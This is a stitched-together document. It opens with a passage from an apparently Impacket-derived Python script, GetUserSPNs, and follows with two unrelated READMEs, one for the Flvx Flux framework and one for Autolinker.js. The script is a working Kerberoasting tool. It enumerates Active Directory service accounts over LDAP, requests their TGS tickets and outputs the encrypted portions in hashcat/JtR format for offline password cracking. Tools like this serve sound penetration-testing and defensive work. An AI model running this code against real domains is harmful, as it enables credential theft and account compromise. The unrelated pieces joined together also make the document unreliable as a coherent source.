            if self.__domain == '':
                domain = ccache.principal.realm['data']
            else:
                domain = self.__domain
            logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
            principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
            creds = ccache.getCredential(principal)
            if creds is not None:
                TGT = creds.toTGT()
                logging.debug('Using TGT from cache')
                return TGT
            else:
                logging.debug("No valid credentials found in cache. ")

        # No TGT in cache, request it
        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                unhexlify(self.__lmhash),
                                                                unhexlify(self.__nthash), self.__aesKey,
                                                                kdcHost=self.__kdcHost)
        TGT = {}
        TGT['KDC_REP'] = tgt
        TGT['cipher'] = cipher
        TGT['sessionKey'] = sessionKey

        return TGT

    def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
        decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

        # According to RFC4757 the cipher part is like:
        # struct EDATA {
        #       struct HEADER {
        #               OCTET Checksum[16];
        #               OCTET Confounder[8];
        #       } Header;
        #       OCTET Data[0];
        # } edata;
        #
        # In short, we're interested in splitting the checksum and the rest of the encrypted data
        #
        if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
            if fd is None:
                print entry
            else:
                fd.write(entry+'\n')
        else:
            logging.error('Skipping %s/%s due to incompatible e-type %d' % (
                decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
                decodedTGS['ticket']['enc-part']['etype']))

        if self.__saveTGS is True:
            # Save the ticket
            logging.debug('About to save TGS for %s' % username)
            ccache = CCache()
            try:
                ccache.fromTGS(tgs, oldSessionKey, sessionKey )
                ccache.saveFile('%s.ccache' % username)
            except Exception, e:
                logging.error(str(e))

    def run(self):
        if self.__doKerberos:
            self.__target = self.getMachineName()
        else:
            if self.__kdcHost is not None:
                self.__target = self.__kdcHost
            else:
                self.__target = self.__domain

        # Connect to LDAP
        try:
            ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost)
            if self.__doKerberos is not True:
                ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                             self.__aesKey, kdcHost=self.__kdcHost)
        except ldap.LDAPSessionError, e:
            if str(e).find('strongerAuthRequired') >= 0:
                # We need to try SSL
                ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost)
                if self.__doKerberos is not True:
                    ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
                else:
                    ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                                 self.__aesKey, kdcHost=self.__kdcHost)
            else:
                raise

        # Building the search filter
        searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"

        if self.__requestUser is not None:
            searchFilter += '(sAMAccountName:=%s))' % self.__requestUser
        else:
            searchFilter += ')'

        try:
            resp = ldapConnection.search(searchFilter=searchFilter,
                                         attributes=['servicePrincipalName', 'sAMAccountName',
                                                     'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
                                         sizeLimit=999)
        except ldap.LDAPSearchError, e:
            if e.getErrorString().find('sizeLimitExceeded') >= 0:
                logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
                # paged queries
                resp = e.getAnswers()
                pass
            else:
                raise

        answers = []
        logging.debug('Total of records returned %d' % len(resp))

        for item in resp:
            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName =  ''
            memberOf = ''
            SPNs = []
            pwdLastSet = ''
            userAccountControl = 0
            lastLogon = 'N/A'
            try:
                for attribute in item['attributes']:
                    if attribute['type'] == 'sAMAccountName':
                        if str(attribute['vals'][0]).endswith('$') is False:
                            # User Account
                            sAMAccountName = str(attribute['vals'][0])
                            mustCommit = True
                    elif attribute['type'] == 'userAccountControl':
                        userAccountControl = str(attribute['vals'][0])
                    elif attribute['type'] == 'memberOf':
                        memberOf = str(attribute['vals'][0])
                    elif attribute['type'] == 'pwdLastSet':
                        if str(attribute['vals'][0]) == '0':
                            pwdLastSet = '<never>'
                        else:
                            pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
                    elif attribute['type'] == 'lastLogon':
                        if str(attribute['vals'][0]) == '0':
                            lastLogon = '<never>'
                        else:
                            lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
                    elif attribute['type'] == 'servicePrincipalName':
                        for spn in attribute['vals']:
                            SPNs.append(str(spn))

                if mustCommit is True:
                    if int(userAccountControl) & UF_ACCOUNTDISABLE:
                        logging.debug('Bypassing disabled account %s ' % sAMAccountName)
                    else:
                        for spn in SPNs:
                            answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon])
            except Exception, e:
                logging.error('Skipping item, cannot process due to error %s' % str(e))
                pass

        if len(answers)>0:
            self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"])
            print '\n\n'

            if self.__requestTGS is True or self.__requestUser is not None:
                # Let's get unique user names and a SPN to request a TGS for
                users = dict( (vals[1], vals[0]) for vals in answers)

                # Get a TGT for the current user
                TGT = self.getTGT()
                if self.__outputFileName is not None:
                    fd = open(self.__outputFileName, 'w+')
                else:
                    fd = None
                for user, SPN in users.iteritems():
                    try:
                        serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
                        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain,
                                                                                self.__kdcHost,
                                                                                TGT['KDC_REP'], TGT['cipher'],
                                                                                TGT['sessionKey'])
                        self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd)
                    except Exception , e:
                        logging.error(str(e))
                if fd is not None:
                    fd.close()

        else:
            print "No entries found!"

# Process command-line arguments.
if __name__ == '__main__':
    # Init the example's logger theme
    logger.init()
    print version.BANNER

    parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for SPNs that are running "
                                                                    "under a user account")

    parser.add_argument('target', action='store', help='domain/username[:password]')
    parser.add_argument('-request', action='store_true', default='False', help='Requests TGS for users and output them '
                                                                               'in JtR/hashcat format (default False)')
    parser.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated '
                                                          'to the user specified (just the username, no domain needed)')
    parser.add_argument('-save', action='store_true', default='False', help='Saves TGS requested to disk. Format is '
                                                                            '<username>.ccache. Auto selects -request')
    parser.add_argument('-outputfile', action='store',
                        help='Output filename to write ciphers in JtR/hashcat format')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
                                                       'cannot be found, it will use the ones specified in the command '
                                                       'line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')
    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
                                                                              'ommited it use the domain part (FQDN) '
                                                                              'specified in the target parameter')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    import re
    # This is because I'm lazy with regex
    # ToDo: We need to change the regex to fullfil domain/username[:password]
    targetParam = options.target+'@'
    domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    if domain is '':
        logging.critical('Domain should be specified!')
        sys.exit(1)

    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password:")

    if options.aesKey is not None:
        options.k = True

    if options.save is True or options.outputfile is not None:
        options.request = True

    try:
        executer = GetUserSPNs(username, password, domain, options)
        executer.run()
    except Exception, e:
        #import traceback
        #print traceback.print_exc()
        print str(e)


text:
Flvx
====

[![No Maintenance Intended](http://unmaintained.tech/badge.svg)](http://unmaintained.tech/)

_Note:_ I started this as an experiment to see what I could do with the flux concept, but it never really took off, so consider this project abandonware.

A lightweight web framework derived from Facebook's [Flux](http://facebook.github.io/react/docs/flux-overview.html) application architecture and is intended to be used with Facebook's [React](http://facebook.github.io/react/) UI library.

Flvx modifies the Flux paradigm slightly to give it a little more structure, and to help enforce the immutable nature of the Flux philosophy. Flvx is written in ECMAScript 6 and can be used directly, or can be compiled to AMD or CommonJS compatible ECMAScript 5 code.

# Installation

You can download the library in the following formats using the links below:

* [ES6](https://raw.githubusercontent.com/bryan-m-hughes/flvx/master/flvx.js)
* [AMD](https://raw.githubusercontent.com/bryan-m-hughes/flvx/master/dist/flvx.amd.js)
* [Minified AMD](https://raw.githubusercontent.com/bryan-m-hughes/flvx/master/dist/flvx.amd.min.js)
* [CommonJS](https://raw.githubusercontent.com/bryan-m-hughes/flvx/master/dist/flvx.commonjs.js)
* [Minified CommonJS](https://raw.githubusercontent.com/bryan-m-hughes/flvx/master/dist/flvx.commonjs.min.js)

Alternatively, you can use bower to install the ES6 version of the code:

```
bower install flvx
```

# Overview

Flvx is an alternative to traditional MVC architectures that features unidirectional data flow and immutable pieces. A Flvx app is composed of a variety of pieces. Flvx provides the following pre-built pieces out of the box:

- dispatcher - A method that receives events from views/links and propagates them to the store controller
- aggregator - A method that receives updates from the stores and propagates them to the view controller
- router - A pair of methods that wires up view controllers, link controllers, and store controllers to the dispatcher and aggregator.

Flvx provides base classes that you extend to provide functionality for your app:

- view controllers - A single controller that oversees all React components.
- views - A set of React components that that are instantiated by a view controller.
- store controller - A single controller that oversees the stores.
- stores - Entities that store state that that are instantiated by a store controller. These can be backed by Backbone Models, custom written code, etc.
- link controller - A single controller that oversees all connections between a server and the app.
- links - A set of pieces that communicate with a server that are instantiated by a link controller. These are the only asynchronous pieces in Flvx.

A route is comprised of a view controller, a store controller, and an optional link controller. Switching between routes means switching between sets of these controllers. Here is the relationship and data flow between all the pieces in a single route:

![Flvx Architecture](https://theoreticalideations.com/static/flvx.png)

# Usage

## App structure

A Flvx app is typically organized with the following folder structure:

```
myapp
├── links
│   ├── MyLinkController.js
│   └── my_link
│       ├── MyLink.js
│       └── ...
├── stores
│   ├── GlobalStoreController.js
│   ├── MyStoreController.js
│   └── my_store
│       ├── MyStore.js
│       └── ...
├── views
│   ├── MyViewController.js
│   └── my_view
│       ├── MyView.js
│       └── ...
└── app.js
```

For each category (links, stores, and views), it is typical to put the controllers in the root directory and to put all views, links, and stores in a sub-folder that corresponds to the controller. This structure is simply a suggestion and is not required by Flvx, you can organize your code however you wish.

## app.js

You should have one file that is the entry point for your app, named ```app.js``` in the example structure above. This file should be responsible for instantiating controllers and wiring them up to the routes, and routing to the first route.

Here is a very simple app.js that instantiates a single route:

```JavaScript
import { registerRoute, route } from 'flvx';
import { MyLinkController } from 'links/MyLinkController';
import { MyStoreController } from 'links/MyStoreController';
import { MyViewController } from 'links/MyViewController';

registerRoute('myRoute', {
  linkController: new MyLinkController(),
  storeController: new MyStoreController(),
  viewController: new MyViewController()
});

route('myRoute');
```

When registering a route, the store controller and view controller are required, but the link controller is optional. You can register as many routes as you want to, but note that only a single route can be active at a time.

## View Controllers

A view controller is an ECMAScript 6 class that extends the ```ViewController``` base class in the Flvx library.

```JavaScript
import { ViewController } from 'flvx';
import { MyView } from 'views/my_view/MyView';
import React from 'react';

export class MyViewController extends ViewController {

  render(data) {
    React.renderComponent(new MyView(data), document.getElementById('content'));
  }

}
```

The ```data``` argument comes from a store controller, which will be discussed in more detail further down. Sometimes, it may be necessary to display different views depending on the contents of the data (e.g. list view vs grid view). In cases such as these, you can import multiple views and determine which one to display based on a conditional in the render method here.

### Class Methods

#### [void] render([primitive|object|array] data) _required_

The render method is passed data from the aggregator and is responsible for calling ```React.renderComponent```, which attaches a view to the DOM.

## Views

A view is simply a standard React view, e.g.:

```JavaScript
import { dispatch } from 'flvx';
import React from 'react';

export let MyView = React.createClass({

  render() {
    return new React.DOM.div({
      onClick: () => {
        dispatch({
          type: 'REQUEST_NEW_MESSAGE'
        });
      },
      className: 'message'
    }, this.props.message);
  }

});
```

In this example, we introduce the concept of dispatching actions. An action can be thought of as an event that is triggered by a view or a link. Actions are dispatched to all links and stores. An action is an object that contains a ```type``` property that indicates the type of action and can optionally contain other properties with data about the action.

### Class Methods

For more information on views and the methods they support, check out Facebook's documentation on
[React](http://facebook.github.io/react/).

## Store Controllers

A store controller is an ECMAScript 6 class that extends the ```StoreController``` base class in the Flvx library.

```JavaScript
import { StoreController } from 'flvx';
import { MyStore } from 'stores/my_store/MyStore';

let store = Symbol();

export class MyStoreController extends StoreController {

  onConnected() {
    this.register(this[store] = new MyStore());
  }

  render() {
    return this[store].render();
  }

}
```

Store controllers are responsible for instantiating and registering stores, and for managing the render process.

Here, _render_ means to take a snapshot of the state contained in the store. When a store or store controller renders data, it takes all of the state stored inside of it, and returns a simple object (i.e. JSON-serializable) representing that state. This method is analogous to a Backbone model's ```toJSON``` method. The ```render``` method is called as part of aggregating data to views. The aggregator takes the object returned from ```render``` and passes it directly to the active view controller's ```render``` method.

Store controllers are responsible for instantiating all stores for the given route. When a store is instantiated, it needs to be registered using the ```register``` method exposed by the ```StoreController``` base class. When a store is registered by a store controller or another store, it gets wired up to automatically receive dispatched actions. An action is dispatched to the controller first, and then descends down the tree formed by registering stores in a pre-order traversal. Dependencies between stores are implicit in the order they are registered.

### Class Methods

#### [primitive|object|array] render() _required_

Renders the state of the store controller and returns it as a JSON-serializable type.

#### [void] dispatch([object] action) _optional_

Receives actions dispatched by the dispatcher. An action is an object with, at minimum, a ```type``` property that indicates the type of action. Actions can optionally contain more data about the action. Actions can originate from views or links.

#### [void] onConnected() _optional_

Called when the store controller is connected. A store controller is connected when the route containing the store controller is routed to.

#### [void] onDisconnected() _optional_

Called when the store controller is disconnected. A store controller is disconnected when a new route is routed to after having previously routed to the route containing the store controller. Note that if a store controller is registered for two or more routes, and you route between them, that the ```onDisconnected``` and ```onConnected``` methods are still called.

## Stores

A store has the same signature as a store controller, except that it cannot be passed to a router, and is not called directly by the dispatcher.

```JavaScript
import { Store, aggregate } from 'flvx';

let MESSAGES = ['Hello (click me)', 'Salut', 'Hola', 'Hallo', 'Привет', '你好', 'こんにちは'];
let currentMessage = Symbol();

export class MyStore extends Store {

  dispatch(action) {
    switch(action.type) {
      case 'REQUEST_NEW_MESSAGE':
        this[currentMessage]++;
        if (this[currentMessage] == MESSAGES.length) {
          this[currentMessage] = 0;
        }
        aggregate();
        break;
    }
  }

  render() {
    return {
      message: MESSAGES[this[currentMessage]]
    };
  }

  onConnected() {
    this[currentMessage] = 0;
    aggregate();
  }

}
```

### Class Methods

#### [primitive|object|array] render() _required_

Renders the state of the store and returns it as a JSON-serializable type.

#### [void] dispatch([object] action) _optional_

Receives actions dispatched by the dispatcher. An action is an object with, at minimum, a ```type``` property that indicates the type of action. Actions can optionally contain more data about the action. Actions can originate from views or links.

#### [void] onConnected() _optional_

Called when the store is connected. A store is connected when it is registered with a store controller or parent store.

#### [void] onDisconnected() _optional_

Called when the store is disconnected. A store is disconnected when its parent is disconnected. The parent's ```onDisconnected``` method is called before the child's ```onDisconnected``` method is called.

## Link Controllers

Link controllers are essentially identical to store controllers, except that they are intended to manage connections to a server, not store state. The key difference is that links can dispatch actions, but do not render data.

```JavaScript
import { LinkController } from 'flvx';
import { MyLink } from 'links/my_link/MyLink';

let link = Symbol();

export class MyLinkController extends LinkController {

  onConnected() {
    this.register(this[link] = new MyLink());
  }

}
```

### Class Methods

#### [void] dispatch([object] action) _optional_

Receives actions dispatched by the dispatcher. An action is an object with, at minimum, a ```type``` property that indicates the type of action. Actions can optionally contain more data about the action. Actions can originate from views or links.

#### [void] onConnected() _optional_

Called when the link controller is connected. A link controller is connected when the route containing the link controller is routed to.

#### [void] onDisconnected() _optional_

Called when the link controller is disconnected. A link controller is disconnected when a new route is routed to after having previously routed to the route containing the link controller. Note that if a link controller is registered for two or more routes, and you route between them, that the ```onDisconnected``` and ```onConnected``` methods are still called.

## Links

A link has the same signature as a link controller, except that it cannot be passed to a router, and is not called directly by the dispatcher.

```JavaScript
import { Link, aggregate } from 'flvx';

export class MyLink extends Link {

  dispatch(action) {
    switch(action.type) {
      case 'REQUEST_NEW_MESSAGE':
        // Fictional XHR helper
        xhr('POST', 'stats', {
          action: 'messageRequested'
        });
        break;
    }
  }

}
```

# Example

Check out the [example](example) directory to see the above examples (minus links) working together. Note that everything is written in ECMAScript 6, and compiled back to ECMAScript 5 using [Traceur](https://github.com/google/traceur-compiler/wiki/GettingStarted) and [Gulp](http://gulpjs.com/). A built version of the example, ready to be loaded in a browser, is available in the [example-dist](example-dist) directory. For a larger example, take a look at the [SChat](https://github.com/bryan-m-hughes/schat) app I wrote.

License
=======

The MIT License (MIT)

Copyright (c) 2014 Bryan Hughes bryan@theoreticalideations.com (https://theoreticalideations.com)

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.


text:
Because I had so much trouble finding a good auto-linking implementation out in
the wild, I decided to roll my own. It  seemed that everything I found out there
was either an implementation that didn't cover every case, or was just limited
in one way or another.

So, this utility attempts to handle everything. It:

- Autolinks URLs, whether or not they start with the protocol (i.e. 'http://').
  In other words, it will automatically link the text "google.com", as well as
  "http://google.com".
- Will properly handle URLs with special characters
- Will properly handle URLs with query parameters or a named anchor (i.e. hash)
- Will autolink email addresses.
- Will autolink phone numbers.
- Will autolink mentions (Twitter, Instagram).
- Will autolink hashtags.
- Will properly handle HTML input. The utility will not change the `href`
  attribute inside anchor () tags (or any other tag/attribute),
  and will not accidentally wrap the inner text of an anchor tag with a
  new one (which would cause doubly-nested anchor tags).

Hope that this utility helps you as well!

Full API Docs: [http://gregjacobs.github.io/Autolinker.js/docs/](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker)

Live Example: [http://gregjacobs.github.io/Autolinker.js/examples/live-example/](http://gregjacobs.github.io/Autolinker.js/examples/live-example/)

## v1.0 released. Breaking Changes from 0.x -> 1.x

1. `twitter` option removed, replaced with `mention` (which accepts 'twitter'
   and 'instagram' values)
2. Matching mentions (previously the `twitter` option) now defaults to
   being turned off. Previously, Twitter handle matching was on by
   default.
3. `replaceFn` option now called with just one argument: the `Match`
   object (previously was called with two arguments: `autolinker` and
   `match`)
4. (Used inside the `replaceFn`) `TwitterMatch` replaced with
   `MentionMatch`, and `MentionMatch.getType()` now returns `'mention'`
   instead of `'twitter'`
5. (Used inside the `replaceFn`) `TwitterMatch.getTwitterHandle()` ->
   `MentionMatch.getMention()`

## Installation

#### Download

Simply clone or download the zip of the project, and link to either
`dist/Autolinker.js` or `dist/Autolinker.min.js` with a script tag:

```html
<script src="path/to/Autolinker.min.js"></script>
```

#### Using with the [Bower](http://bower.io) package manager:

Command line:

```shell
bower install Autolinker.js --save
```

#### Using with [Node.js](http://nodejs.org) via [npm](https://www.npmjs.org/):

Command Line:

```shell
npm install autolinker --save
```

JavaScript:

```javascript
var Autolinker = require( 'autolinker' );
// note: npm wants an all-lowercase package name, but the utility is a class and
// should be aliased with a capital letter
```

## Usage

Using the static [link()](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-static-method-link)
method:

```javascript
var linkedText = Autolinker.link( textToAutolink[, options] );
```

Using as a class:

```javascript
var autolinker = new Autolinker( [ options ] );

var linkedText = autolinker.link( textToAutoLink );
```

Note: if using the same options to autolink multiple pieces of html/text, it is
slightly more efficient to create a single Autolinker instance, and run the
[link()](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-method-link)
method repeatedly (i.e. use the "class" form above).

#### Example:

```javascript
var linkedText = Autolinker.link( "Check out google.com", { className: "myLink" } );
// Produces: "Check out <a class="myLink myLink-url" href="http://google.com" target="_blank">google.com</a>"
```

## Options

These are the options which may be specified for linking. These are specified by
providing an Object as the second parameter to [Autolinker.link()](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-static-method-link). These include:

- [newWindow](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-cfg-newWindow) : Boolean

  `true` to have the links should open in a new window when clicked, `false`
  otherwise. Defaults to `true`.

- [urls](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-cfg-urls) : Boolean/Object

  `true` to have URLs auto-linked, `false` to skip auto-linking of URLs.
  Defaults to `true`.

  This option also accepts an Object form with 3 properties to allow for
  more customization of what exactly gets linked. All default to `true`:

    - schemeMatches (Boolean): `true` to match URLs found prefixed with a scheme,
      i.e. `http://google.com`, or `other+scheme://google.com`, `false` to
      prevent these types of matches.
    - wwwMatches (Boolean): `true` to match urls found prefixed with `'www.'`,
      i.e. `www.google.com`. `false` to prevent these types of matches. Note
      that if the URL had a prefixed scheme, and `schemeMatches` is true, it
      will still be linked.
    - tldMatches: `true` to match URLs with known top level domains (.com, .net,
      etc.) that are not prefixed with a scheme or `'www.'`. Ex: `google.com`,
      `asdf.org/?page=1`, etc. `false` to prevent these types of matches.

  Example usage: `urls: { schemeMatches: true, wwwMatches: true, tldMatches: false }`

- [email](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-cfg-email) : Boolean

  `true` to have email addresses auto-linked, `false` to skip auto-linking of
  email addresses. Defaults to `true`.

- [phone](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-cfg-phone) : Boolean

  `true` to have phone numbers auto-linked, `false` to skip auto-linking of
  phone numbers. Defaults to `true`.

- [mention](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-cfg-mention) : String

  A string for the service name to have mentions (@username) auto-linked to. Supported
  values at this time are 'twitter', and 'instagram'. Pass `false` to skip
  auto-linking of mentions. Defaults to `false`.

- [hashtag](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-cfg-hashtag) : Boolean/String

  A string for the service name to have hashtags auto-linked to. Supported
  values at this time are 'twitter', 'facebook' and 'instagram'. Pass `false` to skip
  auto-linking of hashtags. Defaults to `false`.

- [stripPrefix](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-cfg-stripPrefix) : Boolean

  `true` to have the `'http://'` (or `'https://'`) and/or the `'www.'`
  stripped from the beginning of displayed links, `false` otherwise.
  Defaults to `true`.

  This option also accepts an Object form with 2 properties to allow for
  more customization of what exactly is prevented from being displayed.
  Both default to `true`:

    - scheme (Boolean): `true` to prevent the scheme part of a URL match
      from being displayed to the user. Example: `'http://google.com'`
      will be displayed as `'google.com'`. `false` to not strip the
      scheme. NOTE: Only an `'http://'` or `'https://'` scheme will be
      removed, so as not to remove a potentially dangerous scheme (such
      as `'file://'` or `'javascript:'`).
    - www (Boolean): `true` to prevent the `'www.'` part of a URL match
      from being displayed to the user. Ex: `'www.google.com'` will be
      displayed as `'google.com'`. `false` to not strip the `'www'`.

- [stripTrailingSlash](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-cfg-stripTrailingSlash) : Boolean

  `true` to remove the trailing slash from URL matches, `false` to keep
  the trailing slash. Example when `true`: `http://google.com/` will be
  displayed as `http://google.com`. Defaults to `true`.
- [truncate](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-cfg-truncate) : Number/Object

  A number for how many characters long URLs/emails/Twitter handles/Twitter
  hashtags should be truncated to inside the text of a link. If the match is
  over the number of characters, it will be truncated to this length by
  replacing the end of the string with a two period ellipsis ('..').

  Example: a url like 'http://www.yahoo.com/some/long/path/to/a/file' truncated
  to 25 characters may look like this: 'yahoo.com/some/long/pat..'

  In the object form, both `length` and `location` may be specified to perform
  truncation. Available options for `location` are: 'end' (default), 'middle',
  or 'smart'. Example usage:

    ```javascript
    truncate: { length: 32, location: 'middle' }
    ```

  The 'smart' truncation option is for URLs where the algorithm attempts to
  strip out unnecessary parts of the URL (such as the 'www.', then URL scheme,
  hash, etc.) before trying to find a good point to insert the ellipsis if it is
  still too long. For details, see source code of:
  [TruncateSmart](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker.truncate.TruncateSmart)
- [className](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-cfg-className) : String

  A CSS class name to add to the generated anchor tags. This class will be added
  to all links, as well as this class plus "url"/"email"/"phone"/"hashtag"/"mention"/"twitter"/"instagram"
  suffixes for styling url/email/phone/hashtag/mention links differently.

  For example, if this config is provided as "myLink", then:

  1) URL links will have the CSS classes: "myLink myLink-url"

  2) Email links will have the CSS classes: "myLink myLink-email"

  3) Phone links will have the CSS classes: "myLink myLink-phone"

  4) Twitter mention links will have the CSS classes: "myLink myLink-mention myLink-twitter"

  5) Instagram mention links will have the CSS classes: "myLink myLink-mention myLink-instagram"

  5) Hashtag links will have the CSS classes: "myLink myLink-hashtag"

- [replaceFn](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-cfg-replaceFn) : Function

  A function to use to programmatically make replacements of matches in the
  input string, one at a time. See the section
  Custom Replacement Function for
  more details.

For example, if you wanted to disable links from opening in [new windows](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-cfg-newWindow), you could do:

```javascript
var linkedText = Autolinker.link( "Check out google.com", { newWindow: false } );
// Produces: "Check out <a href="http://google.com">google.com</a>"
```

And if you wanted to truncate the length of URLs (while also not opening in a new window), you could do:

```javascript
var linkedText = Autolinker.link( "http://www.yahoo.com/some/long/path/to/a/file", { truncate: 25, newWindow: false } );
// Produces: "<a href="http://www.yahoo.com/some/long/path/to/a/file">yahoo.com/some/long/pat..</a>"
```

## More Examples
One could update an entire DOM element that has unlinked text to auto-link them
as such:

```javascript
var myTextEl = document.getElementById( 'text' );
myTextEl.innerHTML = Autolinker.link( myTextEl.innerHTML );
```

Using the same pre-configured [Autolinker](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker)
instance in multiple locations of a codebase (usually by dependency injection):

```javascript
var autolinker = new Autolinker( { newWindow: false, truncate: 25 } );

//...

autolinker.link( "Check out http://www.yahoo.com/some/long/path/to/a/file" );
// Produces: "Check out <a href="http://www.yahoo.com/some/long/path/to/a/file">yahoo.com/some/long/pat..</a>"

//...

autolinker.link( "Go to www.google.com" );
// Produces: "Go to <a href="http://www.google.com">google.com</a>"

```

## Custom Replacement Function

A custom replacement function ([replaceFn](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker-cfg-replaceFn))
may be provided to replace url/email/phone/mention/hashtag matches on an
individual basis, based on the return from this function.

#### Full example, for purposes of documenting the API:

```javascript
var input = "...";  // string with URLs, Email Addresses, Mentions (Twitter, Instagram), and Hashtags

var linkedText = Autolinker.link( input, {
    replaceFn : function( match ) {
        console.log( "href = ", match.getAnchorHref() );
        console.log( "text = ", match.getAnchorText() );

        switch( match.getType() ) {
            case 'url' :
                console.log( "url: ", match.getUrl() );

                return true;  // let Autolinker perform its normal anchor tag replacement

            case 'email' :
                var email = match.getEmail();
                console.log( "email: ", email );

                if( email === "my@own.address" ) {
                    return false;  // don't auto-link this particular email address; leave as-is
                } else {
                    return;  // no return value will have Autolinker perform its normal anchor tag replacement (same as returning `true`)
                }

            case 'phone' :
                console.log( "Phone Number: ", match.getNumber() );

                return '<a href="http://newplace.to.link.phone.numbers.to/">' + match.getNumber() + '</a>';

            case 'mention' :
                console.log( "Mention: ", match.getMention() );
                console.log( "Mention Service Name: ", match.getServiceName() );

                return '<a href="http://newplace.to.link.mention.handles.to/">' + match.getMention() + '</a>';

            case 'hashtag' :
                console.log( "Hashtag: ", match.getHashtag() );

                return '<a href="http://newplace.to.link.hashtag.handles.to/">' + match.getHashtag() + '</a>';
        }
    }
} );
```

